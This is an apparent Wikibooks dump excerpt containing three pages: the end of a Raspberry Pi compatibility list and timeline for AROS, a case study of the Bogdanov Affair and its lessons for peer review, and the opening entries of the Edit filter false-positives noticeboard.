[https://www.waveshare.com/wiki/CM5-NANO-B CM5-NANO-B] - untested *[https://carboncomputers.us/products/pi-flux piFlux] *[https://carboncomputers.us/products/ Zitaotech Hackberry] CM5 lite only - *Portable [https://www.waveshare.com/pocketterm35.htm Waveshare PocketTerm35] with Pi4B or Pi5 - untested *Box [https://www.clockworkpi.com/uconsole ClockworkPi uConsole][https://www.youtube.com/watch?v=EtI_bAahbR8 CM4 into an adapter or CM3 into so-dimm - Cyberdeck] - untested *Green RPi [https://datasheets.raspberrypi.com/cm4io/CM4IO-KiCAD.zip Compute Module 4] [https://datasheets.raspberrypi.com/cm4io/cm4io-datasheet.pdf IO board] V1.4 [https://datasheets.raspberrypi.com/cm4io/CM4IOUSB3-KiCAD.zip USB3] [https://datasheets.raspberrypi.com/cm4io/cm4iousb3-appnote.pdf CM4ISO] [https://datasheets.raspberrypi.com/cm4/cm4-datasheet.pdf Dual100pin] (2020) aka Development Platform Board - untested *Purple Pi Hut Cytron CM4 Maker Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[ KubeSail PiBox mini 2] *Home Assistant Yellow with Raspberry Pi Compute Module 4 - untested *[ Turing Pi V2] - untested CM4 with 260-pin SO-DIMM socket adapters and/or nvidia jetson nanos - untested *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-C Waveshare CM4-IO-BASE-C] - untested but binary blobs Rev01 Rev02 *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-B Waveshare CM4-IO-BASE-B] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-A Waveshare CM4-IO-BASE-A] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-NANO-B Waveshare CM4-NANO] - untested but usb and audio turned off or rerouted CM3 has a 200 pin sodimm ddr2 connector form factor but not electrically SC0028, SC0029 *Blue [https://wiki.geekworm.com/CM_IO_Board Geekworm RPi Compute Module IO Board] [https://github.com/geekworm-com/cm-io-board CSI DSI] with CM3 in ddr2 slot underside - '''works''' if SW1 on but CM3+ '''does not''' *Green [https://cdn-shop.adafruit.com/product-files/3442/CMIO_schematic.pdf RPi V3 IO board CM3IO] and CM3 Lite - untested *Green [https://turingpi.com/ turingpi v1 cluster] - untested up to 7 cm3 7xlan9514 12V discontinued, 3 x Pi4 homelab maybe better *Blue [https://www.waveshare.com/wiki/Compute_Module_PoE_Board Waveshare Compute Module PoE Board] and CM3 lite (if not lite, write files to internal eMMC fat32) '''AVOID''' bin blobs *Blue [https://www.waveshare.com/compute-module-io-board-plus.htm Waveshare Compute Module IO Board Plus] [https://www.waveshare.com/wiki/Compute_Module_IO_Board_Plus wiki] [https://forums.raspberrypi.com/viewtopic.php?t=235695 pin settings] with CM3+ Lite - '''AVOID''' binary blob *[ Pi02w on Geekworm SupTronics X305 Raspberry Pi Zero IO Baseboard] - untested *[ Spotpear Pi Zero 2w to Pi3b format-ish] - untested *[ pi-top v4] box has 128x64 oled display, micro hdmi, 19Whr battery with pi4 and 15V PD 36W min needed *[ pi-top v3] three green pieces, heatsink covers most of the base tray, pi-top hub mk1 lhs and Pi1B Pi2b Pi3b rhs secured from below, black rounded strip with pi-top above keyboard, 13.3" HD 1366 x 768 display, small touchpad, *[ pi-top Model 2.0] pi-top on bottom bezel of 14-inch green laptop, large trackpad, keyboard slide down to reveal main system hub on slide rails moved to the right, Raspberry Pi3b screws down, hub slides in, 18V 2.5A 45W charger brick, battery 11.1V 3500mAh 38.85Wh and storage PiTopOS *[ Pi-Top CEED Raspberry Pi Modular Educational Desktop with RPI3] monitor *[https://www.indiegogo.com/en/projects/jesselozano/pi-top-a-raspberry-pi-laptop-you-build-yourself Pi-Top v1] wedge laptop with RPi2 <pre> 2008 Trustees collected for Foundation 2009 Pi Foundation charity status gained 2010 2011 First Raspberry prototypes 2012 First boards go on sale at CPC and RS. The Model A and B 700 MHz Arm11 - February 29th BCM 2835 2012 First million sold - more than the 10,000 original planned and anticipated 2013 First Alpha Experimental builds of AROS Native for the 32bit Pi 2013 Pi Trading launched making grants available, providing in house educational resources and Pi Academy for teacher training 2013 Over two million sold 2014 Over three million sold 2014 Pi 1 Model B+ introduced that moved composite video to audio jack and same half gig of memory 2014 Pi Model A+ v1.1 no ethernet and 1 usb - a little smaller - 2015 Over four million first gen pis sold 2015 Pi Zero 1.2 BCM2835 first production revision released with no camera port 2016 Pi0 1.3 released with camera csi connector 2017 Pi Zero W v1.1 1GHz Pi0W, single-core 32bit CPU BCM2835 released with Cypress CYW43438 wireless 2020 Raspberry Pi Pico SC0919 with RP2040 32-bit 2Core ARM Cortex-M0+ up to 133 MHz - 264KB of SRAM and 2MB of on-board QSPI Flash - 2024 Raspberry Pi Pico 2 with RP2350 2Core 32bit Arm Cortex-M33 and 2core open-hardware [https://github.com/wren6991/hazard3 Hazard3 RISC-V] 2015 Pi 2 Model B v1.1 BCM2836 900/600 MHz ARM Cortex-A7 Armv7 quad 32bit, 32bit VideoCore IV GPU - 1Gb RAM - 5V 2A micro usb - SMSC LAN9514 chip - 2015 Over a million pi2s sold 2015 Raspberry Pi 2 Model B version 1.2 Pi2bv1.2, aka Pi2B2 has armv8 BCM2837 underclocked to 900Mhz without wifi/bluetooth module 2016 Pi 3 Model B - Broadcom BCM2837 SOC four 64bit ARMv8 Cortex-A53 1.2GHz 32bit 1080p VideoCore IV GPU - 1Gb DDR2 - bluetooth 4.1, Cypress CYW43438 wireless 802.11n - 4 x USB2.0 ports - 5.1V 2.5A - SMSC LAN9514 chip 2016 PIs total over 10 million worldwide 2017 Compute Module 3 CM3 with BCM2837B0 armv8 Quad 64-bit - small 67.6mm x 31mm board which fits DDR2 SODIMM connector but not electrically compatible which plugs into needed IO board - beware of the I2C protocol issue 1Gb LPDDR2 RAM - Lite or 4Gb Emmc storage 2017 12 million pis sold in total 2018 Pi 3 Model B+ - 4c A53 BCM2837B0 1.4Ghz - 1Gb, wireless 802.11ac, gigabit ethernet (300Mbit/s) and bluetooth 4.2 - power over ethernet - 4 x USB2.0 ports - Microchip LAN7515 chip 2019 Over 15 million sold 2019 Pi 3 Model A+ with BCM2837b0 Cortex-A53 64-bit SoC @ 1.4 GHz with 512Mb LPDDR2, 1 usb2, 1 hdmi, 1 micro usb 5V 2A - no ethernet - 2019 Raspberry Pi Compute Module 3+ CM3+ - Broadcom BCM2837B0 1.2Ghz, Cortex-A53 (ARMv8) 64-bit SoC on DDR2 SODIMM mechanically compatible only factor - IO board required 1Gb DDR2 and 8GB, 16GB, 32GB or a Lite variant without eMMC 2021 Pi zero 2 (w or no W) RP3A0 quad 1GHz Cortex-A53 64bit BCM2710A1 512mB SDRam 2025 edaTEC CM0 ED-CM0NANA with additional dev board with quad 1Ghz A53 with 512Mb Raysan RAM, 2 USB2 and 10/100 ethernet - pico castellated edge 2019 Pi 4 Model B RPI4B - BCM2711B0T quad 64bit A72 1.5GHz, 4K VideoCore VI, AC wifi, Bluetooth 5.0, GbE Broadcom BCM54213PE (PHY ID 0x600d84a2), 2 micro hdmi decode up to 4K, USB-C 5.1V 3A power, 2xVLI VL805 USB 3, 2xUSB 2.0, 2GB 9LDWW D9WHZ or 4GB 9FDWW D9WHV, 8GB 0AA47 D9ZCL ddr4 ram 2020 Silent Pi 4 v1.2 upgrade with more USB-c psu support 2020 PI400 BCM2711C0T 1.8GHz 4Gb DDR4 inside keyboard, 5.1V 5A 27W usb-c psu, 2 micro hdmi, external ide style 40pin gpio, no audio port - 2020 Raspberry Pi Compute Module 4 BCM2711B0T on new 55mm x 40mm 2x100 pin form factor with extra breakout IO board CM4101000 1Gb RAM Lite SOM CM4102000 2GB RAM Lite CM4104000 4GB RAM Lite CM4004008-4GB-RAM 8GB-EMMC SOM System on Modules CM4104032 4GB RAM 32GB emmc CM4108000 8GB RAM Lite CM4008016 8GB RAM 16Gb eMMc 2021 Raspberry Pi SC0763 Compute Module 4S CM4S with ddr2 sodimm pinouts but not electrically the same with suitable IO board extra cost - CM4S01000 1GB RAM Lite CM4S01008 1GB RAM 8GB eMMC Flash CM4S02000 2GB RAM Lite CM4S04000 4GB RAM Lite CM4S08000 8GB RAM Lite 2021 Pi 4 v1.4 BCM2711B1 upgraded power regulator, to deal with 8gig of ram being more power hungry - 2021-48 Raspberry Pi 4 model B v1.5 2GB 2023 Pi 5 v1.0 BCM2712 Quad A76 @2.4Ghz - VideoCore VII - no audio socket - dual 4k from mini hdmi - fan connector - 5.1V 5A psu 2024 Pi 5 2GB DDR4 version uses BCM2712D0 2024 Pi-500 with 8Gb LPDDR5 and membrane keyboard 2024 Pi 5 v1.1 2024 Raspberry Pi Compute Module 5 CM5 BCM2712 55mm x 40mm form factor with additional IO board CM5004000 04GB RAM 0GB eMMC Lite CM5008000 08GB RAM 0GB eMMC Lite CM5016000 16GB RAM 0GB eMMC Lite 2025 Pi-500+ with 256GB NVMe storage, 16GB LPDDR4 RAM, and Gateron KS-33 Low Profile Blue mechanical keyboard switches 2025 Pi5 1GB DDR4 announced 2022 PiOS linux goes 64bit 2024 Pi Trading IPO stockmarket stock exchange listing 2026 April and May Aros 64bit fixed, added AHI audio, VC4 gfx started, usb functions added to rom 2026 June and July Aros 64bit usb2otg started, dma.resource, sdio.resource, bwfm.device wifi added 2026 Late July daily 64bit Pi3 LE little endian builds start 2026 August Pi 4, 400, 5 and 500 DTBs added, expanding existing support and wifi for Pi4 and Pi5 2026 August Pi5 HAT+ nvme and HDMI, AHI RPiI2S added, Pi4 HVS5 video scaler started, 2026 2027 2028 Pi 6 </pre> ==Future== [https://github.com/ARMSX2/ARMSX2 Arm pi of pcsx2] {{BookCat}} hk4dq6q2lqda09k9sc9xv2r5m0upr3d 0 360843 4670891 4237602 2026-09-18T11:10:07Z ~2026-50418-09 3626246 /* */ 4670891 wikitext text/x-wiki [[Image:PHOTOS_IGOR_GRICHKA.jpg|thumb|right|400px|Igor and Grichka Bogdanov, as they appeared in their first television show, ''Temps X'']] '''The Bogdanov Affair''' was a scandal within the physics research and academic publishing communities, involving two physicists, the brothers '''Igor''' and '''Grichka Bogdanov''', who successfully published work of dubious quality in multiple peer-reviewed journals, and gained PhDs as a consequence. They were initially conjectured to have intentionally published unintelligible or meaningless research as a hoax, in the style of the Sokal Affair. However, they maintained that their research was legitimate, if misunderstood, and that they published in good faith what they believed to be first-rate academic papers. The subsequent investigation revealed a number questionable decisions on the part of the academic institutions and journals which had hosted their work as well as intentional deception perpetrated by the brothers. It also called into question the efficacy of the peer review system and the validity of the modern style of theoretical physics research, as well as the competence and integrity of the academic community as a whole. == Timeline of the Affair == === Early History of the Bogdanov Twins === The Bogdanov twins first rose to predominance as television presenters on a popular, French science and technology program, ''Temps X'', which ran from 1979 to 1989. Over the course of their careers, they would co-host a number of other television shows with similar themes. In 1991, they published a book, ''God and Science'', which became the source of their first controversy. UVa Professor Trinh X Thuan sued the twins for plagiarism of his own book, ''The Secret Melody''. The suit was settled out of court. However, Professor Thuan later noted that the back of the Bogdanovs' book stated that they had doctorates, when in fact they did not <ref name='newscientist'>{{cite news | first=Hazel | last=Muir | title=Twins raise ruckus | date=2002-11-16 | work =New Scientist | pages =6 }}</ref>. Regardless, the twins began actually working towards doctorates in 1993 at the University of Burgundy. In 1999, they both underwent thesis examinations on the same day. Grichka was granted a PhD in mathematics with the lowest possible distinction. Igor was not granted a PhD. However, his thesis review board admitted that his work was partially outside of their specialties, and offered to grant his PhD, contingent on the publication of three papers in peer-reviewed academic journals. Over the next three years, the brothers jointly publish three new papers: * Topological Field Theory of the Initial Singularity of Spacetime (2001), ''Classical and Quantum Gravity'' <ref>{{cite journal |first1 = Igor |last1 = Bogdanov | first2 = Grichka | last2 = Bogdanov |year= 2001 |title= Topological Field Theory of the Initial Singularity of Spacetime |journal= Classical and Quantum Gravity | volume=18 |issue=21 }}</ref> * Spacetime Metric and the KMS Condition at the Planck Scale (2002), ''Annals of Physics'' <ref>{{cite journal |first1 = Igor |last1 = Bogdanov | first2 = Grichka | last2 = Bogdanov |year= 2002 | title= Spacetime Metric and the KMS Condition at the Planck Scale |journal= Annals of Physics | volume=296 |issue=1 | page = 90–97}}</ref> * KMS space-time at the Planck scale (2002), ''Nuovo Cimento'' <ref>{{cite journal |first1 = Igor |last1 = Bogdanov | first2 = Grichka | last2 = Bogdanov |year= 2002 | title= KMS space-time at the Planck scale |journal= Nuovo Cimento | volume=117 |issue=4 | page = 417-424}}</ref> In addition, Igor published two papers: * Topological Origin of Inertia (2001), ''Czechoslovak Journal of Physics'' <ref>{{cite journal |first1 = Igor |last1 = Bogdanov |year= 2001 | title= Topological Origin of Inertia |journal= Czechoslovak Journal of Physics | volume=51 |issue=11 | page = 1153-1236}}</ref> * The KMS state of spacetime at the Planck scale (2001), ''Chinese Journal of Physics'' <ref>{{cite journal |first1 = Igor |last1 = Bogdanov |year= 2001 | title= The KMS state of spacetime at the Planck scale |journal= Chinese Journal of Physics | volume = 40 | issue = 2 | page = 149-158}}</ref> Igor Bogdanov was subsequently granted a PhD with lowest honor. === The Affair === On October 22, 2002, an email from physicist Max Niedermaier to the physicist Ted Newman suggested that the Bogdanov brothers' papers were in fact meaningless, and might constitute a hoax. This email was forwarded and quickly spread throughout the physics community, bringing the papers and the brothers' academic work into the public eye for the first time. Niedermaier later apologized to the twins and distributed a statement indicating that his message was intended to remain private. <ref name="baezmain">{{cite web |url=http://math.ucr.edu/home/baez/bogdanoff/ |title= The Bogdanoff Affair |last1=Baez |first1=John |date= October 22, 2010 |access-date= May 3, 2015}}</ref> On October 23, physicist John Baez began a newsgroup discussion on sci.physics.research entitled ''Physics Bitten by Reverse Sokal Hoax?'' <ref>{{cite web |url=https://groups.google.com/d/msg/sci.physics/KOBNOKq9FvI/ZjV8jeT9-AkJ |title= Physics bitten by reverse Alan Sokal hoax? |last1=Baez |first1=John |date= October 23, 2001 |access-date= May 3, 2015}}</ref>, which quickly became the most active site of discussion. The essence of the discussion was this: the papers were meaningless nonsense, filled with buzzwords but utterly incomprehensible to anyone with real knowledge of the topic. As the investigation continued, readers began to notice that the Bogdanovs papers were copied from one another - in many cases word for word. While almost everyone agreed that the papers were nonsense, it was not agreed whether the brothers were perpetrating and intentional hoax or whether they were merely incompetent. Regardless, there was widespread agreement that the brothers' work brought into question the competence and legitimacy of the rest of the physics community. {{quote | The fact that they've managed to get these things published and get doctoral degrees should lead to a scandal of some sort | Peter Woit <ref>{{cite web |url=https://groups.google.com/d/msg/sci.physics/KOBNOKq9FvI/bPkFvz3nm7sJ |title= Physics bitten by reverse Alan Sokal hoax? |last1=Woit |first1=Peter |date= October 24, 2001 |access-date= May 3, 2015}}</ref>}} By October 24, the New York Times had assigned a reporter to investigate, and within a few days the Chronicle of Higher Education had done so as well. Meanwhile, the Bogdanovs themselves joined the discussion, insisting vehemently that their work was legitimate and that it was simply being misunderstood by those investigating <ref name="bognewsgroup">{{cite web |url=https://groups.google.com/d/msg/sci.physics/KOBNOKq9FvI/mswYEI0PuXUJ. |title=Physics bitten by reverse Alan Sokal hoax? |date=October 29, 2002 |last=Bogdanov |first=Igor |accessed = May 3, 2015}}</ref>. This gave the investigators a chance to question the Bogdanovs directly, and the Bogdanovs, for their part, replied. However, they gave few if any satisfactory answers, preferring instead to reiterate what they had published. Over the next month, a number of prominent mainstream and academic publications ran stories (in some cases, multiple stories) on the event. Many of these implied that physicists could not determine whether the papers were legitimate or not, and suggested that theoretical physics had become so esoteric as to have no grounding in reality. The physics community was displeased by this portrayal. In the process of writing these articles, interviews had been conducted with the reviewers of the brothers' thesis research, revealing a pattern of lax standards at the department where they studied <ref name='baezmain'></ref>. {{quote | All these were ideas that could possibly make sense ... It showed some originality and some familiarity with the jargon. That's all I ask. | Roman Jackiw, Bogdanov thesis reviewer <ref name="overbye">[http://query.nytimes.com/gst/fullpage.html?res=9401E4DB1431F93AA35752C1A9649C8B63&sec=&spon=&pagewanted=all "Are They a) Geniuses or b) Jokers?; French Physicists' Cosmic Theory Creates a Big Bang of Its Own"] by Dennis Overbye, ''The New York Times'', November 9, 2002, Section B, Page 7, Column 2.</ref>}} {{quote | These guys worked for 10 years without pay, they have the right to have their work recognized with a diploma, which is nothing much these days | Daniel Sternheimer, Bogdanov doctoral adviser <ref name="overbye"></ref>}} Following this, the journals themselves began to respond. Though none of the papers were retracted, several of the journals stated on or off the record that the Bogdanovs' work did not meet their standard, and that it was published in error. In particular, ''Classical and Quantum Gravity'' repudiated the paper it had published in an official statement <ref>{{cite web |url=https://groups.google.com/d/msg/sci.physics.research/VsJ-bX1wnyg/nJDp94d3Q8EJ. |title=If not a hoax, it's still an embarassment |date=November 1, 2002 |last=Kuperberg |first=Greg |accessed = May 3, 2015}}</ref>. === The Aftermath === In 2003 a theoretical physicist emerged in support of the Bogdanovs' claims. His name was Dr. L. Yang, a professor from the Theoretical Physics Laboratory at the International Institute of Mathematical Physics in Kowloon, Hong Kong. Yang sent numerous emails to Bogdanov critics such as John Baez, Jacques Distler, and Dennis Overbye of the New York Times, defending the brother's papers. These letters began with a brief statement in which Yang assured readers that the brothers were serious theoretical physicists, followed by a confused and poorly substantiated explanation of their theories <ref name="yangmail">{{cite web |url=http://www.math.columbia.edu/~woit/lyang.html |title=Bogdanoff update |date=December 29, 2003 |last=Yang |first=L |accessed = May 3, 2015}}</ref>. It was swiftly noticed by Distler and others that Yang frequently used the same jargon as the brothers, especially in cases of questionable correctness. Furthermore, though Yang made numerous errors in his use of English (which is to be expected of a non-native speaker), they appeared to be the errors of a person whose native language was French, rather than Chinese. Finally, it was revealed that Yang's emails, though they came from a top level domain associated with Hong Kong, actually originated at a residential internet connection in Paris. This prompted investigators to contact the International Institute of Mathematical Physics directly, who confirmed that there was no "Dr. Yang" currently employed <ref name="distler">{{cite web |url=https://golem.ph.utexas.edu/~distler/blog/archives/000375.html |title=Bogdanorama |date=June 5, 2004 |last=Distler |first=Jacques |accessed = May 3, 2015}}</ref>. It has been universally concluded that Yang was in fact a fabrication of the brothers, in an attempt to lend themselves credibility. In 2004, a research institution emerged to refine the brothers' work. [http://www.phys-maths.edu.lv/ The Mathematical Center for Riemannian Cosmology] was allegedly established by the University of Riga, and claimed to conduct further theoretical research based upon the Bogdanovs' theses <ref name="baezmain"></ref>. The validity of the institution was quickly called into question. The sole evidence of its existence consisted of a web site which defended and reiterated the Brothers' work in a manner consistent with "Dr. Yang" and the brothers themselves. No further research or contact beyond defense of the brothers was ever produced by The Mathematical Center for Riemannian Cosmology. It is therefore presumed to be another fabrication of the Bogdanov twins <ref name="baezmain"></ref>. Since 2004, the brothers have attempted multiple times to legitimize their works. Several physicists claim to have been intentionally misquoted or mistranslated by the Bogdanovs. In particular, physicist Fabien Besnard reports that the Bogdanovs translated Peter Woit's statement "It’s certainly possible that you have some new worthwhile results on quantum groups" to French as "Il est tout a fait certain que vous avez obtenu des resultats nouveaux et utiles dans les groupe quantiques", which bears an English meaning closer to "It is completely certain that you have obtained new worthwhile results on quantum groups." <ref name="woitredux">{{cite web |url=http://www.math.columbia.edu/~woit/wordpress/?p=34 |title=Bogdanovs Redux |date=June 5, 2004 |last=Woit |first=Peter |accessed = May 3, 2015}}</ref> This mistake is far too favorable to the brothers' work to be considered a blind error, especially when considered in conjunction with similar "errors" reported by other physicists. Additionally, the French and English Wikipedia pages for the brothers and the affair have been repeatedly edited to favor the Bogdanovs. The same sets of changes have been made repeatedly, in spite of multiple reversions and outright bannings by moderators. It is assumed that the twins themselves are the perpetrators <ref name="woitwiki">{{cite web |url=https://www.math.columbia.edu/~woit/wordpress/?p=232 |title=Bogdanovs on Wikipedia |date=August 6, 2005 |last=Woit |first=Peter |accessed = May 3, 2015}}</ref>. == Evaluation of the Major Actors == === The PhD Review Board === The PhD review board at the University of Burgandy granted the Bogdanovs' PhDs based on the work put in at the University, rather than the merit or even the quantity of their accomplishments. One member of the board acknowledged that he passed the brothers because quantum physics was not his area of expertise, and he therefore could not determine whether their work was valid. The Bogdanovs’ adviser granted Igor his PhD because he successfully published three papers, and not on the basis of academic achievement. {{quote | These guys worked for 10 years without pay, they have the right to have their work recognized with a diploma, which is nothing much these days | Daniel Sternheimer, Bogdanov doctoral adviser <ref name="overbye"></ref>}} === Peer Reviewed Journals === It is not a settled question whether the academic journals - particularly Annals of Physics and Classical and Quantum Gravity - sufficiently reviewed the Bogdanovs’ work before publishing. However, both journals admitted fault quickly after the papers were noticed by other scientists. Annals of Physics retracted the paper it had published; Classical and Quantum Gravity left its paper as "food for thought," and invited readers to comment on the work and provide suggestions to help improve the peer review process. Both journals suggested the peer review process was imperfect and that systematic revision was necessary to prevent further incidents of this sort. However, Hermann Nicolai, a senior editor for Classical and Quantum Gravity, claimed in an unofficial statement than he never would have passed the article if it had come to his desk <ref name="baezmain"></ref>. === The Media === Many of the other participants believe that the media - specifically the New York Times and The Register - may have hyperbolized the Bogdanov Affair. Instead of reporting the story at face value, they implied that the Bogdanovs purposefully produced their papers to expose flaws in the peer review system. Some of the more extreme articles even suggested that the Bogdanovs' papers were no more incomprehensible (or indeed, no different) than most other theoretical physics research, much to the dismay of the theoretical physicists <ref name="baezmain"></ref>. This sensationalism was likely an attempt to increase readership. On the other hand, media involvement did lead to the publication of several valuable interviews, and it provided background information on the brothers and elicited input from physicists worldwide. === The Independent Investigators === A number of individuals - mainly other physicists and mathematicians - investigated the Bogdanov affair independently. Some simply read the brothers' papers and accepted or refuted them at face value, asserting the Bogdanovs to be “hoaxers” that used buzz words to get their work published. Others, like John Baez, mathematical physicist and professor at the University of California, Riverside, contacted the Bogdanovs and tried to gain a better understanding of the concepts printed in the articles before making a final judgement. In one correspondence, John Baez analyzed one of the Bogdanovs complicated statements, “Since the big bang happened everywhere, no matter which way a pendulum swings, the plane in which it swings can be said to ‘intersect the big bang,” which Baez eventually simplified to “Any plane contains a point.” Without skeptics such as Baez, it would be difficult to determine the quality of work behind the papers. === The Bogdanov Twins === It is difficult to determine the true motives of the Bogdanov brothers. However, it might be useful to summarize their unprofessional actions: *Possible plagiarism of Professor Thuan at UVA *Self-plagiarism: The Bogdanovs often recycled their old work - word for word, in some cases - as the content of newer papers. *Fabrication of credentials and supporters: Professor Yang, the Mathematical Center of Riemannian Cosmology, and potentially others. *Intentional misquotation and mistranslation of statements by other physicists. The Bogdanovs have, however, been polite in dealing with their critics and normally offer an explanation for their work when asked, though their explanations are typically found to be unsatisfactory. == Compared to the Sokal Affair == The Bogdanov Affair has been frequently compared to the Sokal affair, a hoax perpetrated by physicist Alan Sokal in 1996. Indeed, the initial newsgroup discussion is titled to suggest such a comparison, and Sokal himself became involved in the conversation only a few days afterward <ref>{{cite web |url=https://groups.google.com/d/msg/sci.physics/KOBNOKq9FvI/4uGDzM3_GqAJ |title= Physics bitten by reverse Alan Sokal hoax? |last1=Sokal |first1=Alan |date= October 31, 2001 |access-date= May 3, 2015}}</ref>. However, the two events differ significantly in terms of the eventual result and the presumed intent of the perpetrators. Alan Sokal perpetrated his hoax with the intention of exposing lax editing standards in a particular publication. He made this intention clear immediately upon publication, without having first been confronted by other academics. In fact, he published a second paper the same year detailing the many falsehoods in his original work <ref name="experiments">{{cite web |url=http://www.physics.nyu.edu/faculty/sokal/lingua_franca_v4/lingua_franca_v4.html |title=A Physicist Experiments With Cultural Studies |date=April 3, 2007 |last=Sokal |first=Alan |work=''Lingua Franca'' |date=May 1996}}</ref>, and subsequently published a book on the subject with Jean Bricmont <ref name="EnglishPreface">{{cite book | last = Sokal | first = Alan | author2 = Jean Bricmont | title = Intellectual Impostures | publisher = Profile Books | year = 1998 | location = London | page = xii | isbn = 1-86197-631-3}} </ref>. These works have formed the basis of a strong stance against what he considers to be an inappropriate encroachment of postmodernist literary theory into the realm of science, which has informed his subsequent work extensively. On the other hand, the Bogdanovs maintained (and continue to maintain to this day) that their work was published in earnest <ref name="bognewsgroup">{{cite web |url=https://groups.google.com/d/msg/sci.physics/KOBNOKq9FvI/mswYEI0PuXUJ. |title=Physics bitten by reverse Alan Sokal hoax? |date=October 29, 2002 |last=Bogdanov |first=Igor |accessed = May 3, 2015}}</ref>. They have attempted to substantiate this claim by manufacturing fake institutions and people to back their work, and by perpetrating further academic fraud. It is also worth noting that Alan Sokal attempted to expose what he perceived to be weaknesses in a particular academic institution, and received no direct benefit from his deception, whereas the Bogdanovs used their work to gain degrees from a respected university. == Generalizations == Several lessons can be generalized from the Bogdanov's actions regarding professionalism in the physics and wider academic community ===Quantity of Work Should not Outweigh Merit of Work=== Some of the professors on the Bogdanov's thesis review board believed that, since the brothers' had put nearly 20 years of collective work towards their PhDs, they had earned them. This is a flawed idea. The merit of the brothers' final theses should have had a much larger weight in the review process. If the professors spent more time reading the material for validity, they would have seen that it made no sense (and indeed, several admitted as much after the fact). Instead, their confusion and lack of understanding led them to let it pass. Further correspondence with the brothers should have been sought before publication and especially before the granting of their degrees. The merit of a final piece should always outweigh the amount of time working on it. ===The Peer Review System Needs to be Reformed=== As evidenced by this event and the Sokal Affair, the system of academic publication is clearly flawed. The theoretical physics community in particular must better determine the standards of rigor applied to its published research. When dealing with the exceptionally esoteric topics that exist in the theoretical physics field, ample time should be spent on review and correspondence. Before publication, works should be carefully critiqued to ensure some degree of validity exists. If this had been done by the Bogdanov's review board, their paper probably would not have been published. == References == {{Reflist}} == External Links == [http://www.phys-maths.edu.lv/ Mathematical Center of Riemannian Cosmology] [https://web.archive.org/web/20140226084742/http://www.marianne.net/attachment/62240/ The University of Burgundy's Investigative Report on the Theses of Igor and Grichka Bogdanov (French)] exxp8pp8i4w5u4x6w93o0uislfjesbf 4 396216 4670883 4669942 2026-09-18T08:49:07Z ActStuffOGWiki 3624203 /* {{subst:currentuser}}{{subst:^|DO NOT EDIT THIS LINE}} */ new section 4670883 wikitext text/x-wiki __NONEWSECTIONLINK__ __NOINDEX__ {{Wikibooks:Edit filter/False positives/Header}} {{shortcut|WB:EFFP}} {{User:MiszaBot/config |archive = Wikibooks:Edit filter/False positives/Archive %(counter)d |algo = old(75d) |counter = 4 |maxarchivesize = 150K |minthreadstoarchive = 1 |minthreadsleft = 3 }} == ~2026-35089-83 == ;Username : [[:b:User:~2026-35089-83|~2026-35089-83]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:~2026-35089-83|discuss]] |[[:b:Special:Emailuser/~2026-35089-83|email]] |[[:b:Special:Contributions/~2026-35089-83|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:~2026-35089-83}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:~2026-35089-83}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=%7E2026-35089-83}} filter log]</span>) ;Page you were editing : [[[[Japanese/Kana]]]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=%5B%5BJapanese%2FKana%5D%5D}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=%5B%5BJapanese%2FKana%5D%5D&wpSearchUser=%7E2026-35089-83}} user filter log])</span> ;Description : Tried replacing a dead link with a working version I found when I plugged the link into webarchive, since that's what I presumed I was meant to do when I found a dead link. ;Date and time : 01:27, 15 June 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> : {{EFFP|done}} – [[User:Codename Noreste|<span style="color: blue">Codename Noreste</span>]] ([[User talk:Codename Noreste|discuss]] • [[Special:Contributions/Codename Noreste|contribs]]) 21:54, 15 July 2026 (UTC) == SeaDragon1 == ;Username : [[:b:User:SeaDragon1|SeaDragon1]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:SeaDragon1|discuss]] |[[:b:Special:Emailuser/SeaDragon1|email]] |[[:b:Special:Contributions/SeaDragon1|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:SeaDragon1}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:SeaDragon1}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=SeaDragon1}} filter log]</span>) ;Page you were editing : [[User:SeaDragon1/UTM highlighting test]] <span class="plainlinks">([{{fullurl:Special:AbuseLog|wpSearchTitle=User%3ASeaDragon1%2FUTM+highlighting+test}} filter log]) ([{{fullurl:Special:AbuseLog|wpSearchTitle=User%3ASeaDragon1%2FUTM+highlighting+test&wpSearchUser=SeaDragon1}} user filter log])</span> ;Description : Attempted creation of page to test [[User:SeaDragon1/common.js]] (both attempted page creation content and <span style="font-family: monospace">common.js</span> were copied from [[w:Main Page|the English Wikipedia]]). ;Date and time : 23:26, 3 July 2026 (UTC) ;Comments <!-- Please leave this area blank for now, but be prepared to answer questions left by reviewing editors. Thanks! --> :{{EFFP|ad|SeaDragon1}} [[User:Ternera|Ternera]] ([[User talk:Ternera|discuss]] • [[Special:Contributions/Ternera|contribs]]) 16:40, 16 July 2026 (UTC) == Earthinators == ;Username : [[:b:User:Earthinators|Earthinators]]<span class="noprint"> {{toolbar|separator=dot |[[:b:User talk:Earthinators|discuss]] |[[:b:Special:Emailuser/Earthinators|email]] |[[:b:Special:Contributions/Earthinators|contribs]] |[{{fullurl:b:Special:Log|user={{urlencode:Earthinators}}}} <span style{{=}}"color:#002bb8">logs</span>] |[//tools.wmflabs.org/xtools/pcount/index.php?lang{{=}}en&wiki{{=}}wikibooks&name{{=}}{{urlencode:Earthinators}} <span style{{=}}"color:#002bb8">count</span>] }}</span> (<span class="plainlinks">[{{fullurl:Special:AbuseLog|wpSearchUser=Earthinators}} filter log]</span>) 